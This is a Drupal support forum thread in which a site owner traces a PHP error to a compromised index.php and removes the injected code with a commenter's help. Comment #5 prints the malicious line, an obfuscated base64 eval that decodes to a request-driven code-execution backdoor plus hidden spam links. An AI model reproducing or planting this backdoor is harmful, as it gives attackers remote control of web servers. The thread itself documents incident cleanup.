Closed (fixed)
Project:
Drupal core
Version:
6.13
Component:
other
Priority:
Major
Category:
Support request
Assigned:
Reporter:
Created:
20 Oct 2010 at 21:20 UTC
Updated:
4 Nov 2010 at 00:50 UTC
Parse error: syntax error, unexpected '<' in /home1/kkincorg/public_html/bestofgy_1/index.php on line 40
The current link is bestof.gy
Prior to this, I had signed up for Google Adsense, and was checking my Google Analytics.
I had checked my page.tpl.php line 40, but I don't see anything wrong. Could this be a database error? I am not too familiar with php.
Comments
Comment #1
haopei commentedUpdate: I edited the core's index.php, and the problem was fixed. I know this is not recommended, and i fear this will haunt me in future. Is there a better long-term solution here?
Comment #2
macdee commentedYou'll definitely have problems in the future if you edit core items.
Not to alarm you, but looking at "source" in my browser from the link you provided I see some odd links to software companies after the closing html tag which look suspiciously as if your site has somehow been compromised.
The injection of those links could have been the original source of your error.
Comment #3
haopei commentedHi macdee,
I am noticing it now as well. The most recent thing I did with the page.tpl.php was to include the google analytic code inside the head element.
Also, this is my index.php
I'm thinking that long piece of code is not standard?
Any idea how to approach such a problem? Thank you.
Comment #4
haopei commentedComment #5
haopei commentedUPDATE
I downloaded and checked the original core index.php and it excluded this part:
<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwppZigkX1JFUVVFU1RbJ2RmcXczMWYnXSkKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsnZGZxdzMxZiddKSk7CiRocmVmID0gJ2h0dHA6Ly93d3cucHJvc29mdHdhcmVzdG9yZS5jb20vJzsKJHdvcmRzID0gYXJyYXkoJ1NvZnR3YXJlIFN0b3JlJywgJ01pY3Jvc29mdCBTb2Z0d2FyZScsICdBZG9iZSBTb2Z0d2FyZScsICdBdXRvZGVzayBTb2Z0d2FyZScsICdCb3JsYW5kIFNvZnR3YXJlIHNob3AnLCAnVk13YXJlIFNvZnR3YXJlJywgJ1Nob3AgU29mdHdhcmUnLCAnTUFDIFNvZnR3YXJlJywgJ1dpbmRvd3MgU29mdHdhcmUnLCAnU3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GlkZGVuOy8qKi93aWR0aDovKiovMFwiPiRzdHI8YSBocmVmPSckaHJlZic+JGhyZWY8L2E+PC9mb250PiIpOw==")); ?>I removed this, and everything seems to be okay.
I'm concerned that this may happen to me again though.
Comment #6
macdee commentedYep! That long line of non-standard code is your problem for sure!
If you open a fresh index.php from drupal 6.19 you'll see that there is only a blank line after "drupal page footer" with no closing tag for the php (it is normal for drupal to not close php).
The solution for now is to replace the index.php with a fresh one.
How someone was able to insert that line is a question you should take up with your isp Bluehost because it means somebody somehow got access to your web_root through some vulnerability in their defenses and was able to write to the file and make that addition.
This type of attack isn't because you're using Drupal, any CMS that uses an index.php page (Wordpress, etc.) will be equally affected.
Since yours is a shared server, I took the liberty of looking up other sites on the same server as yours to see if any more were having the same problem and struck gold with the second one I tried: check out the source of www.punjabtandoori.com which is a Wordpress site, so kick Bluehost's butt around the block on this one!
Comment #7
macdee commentedSetting status to fixed.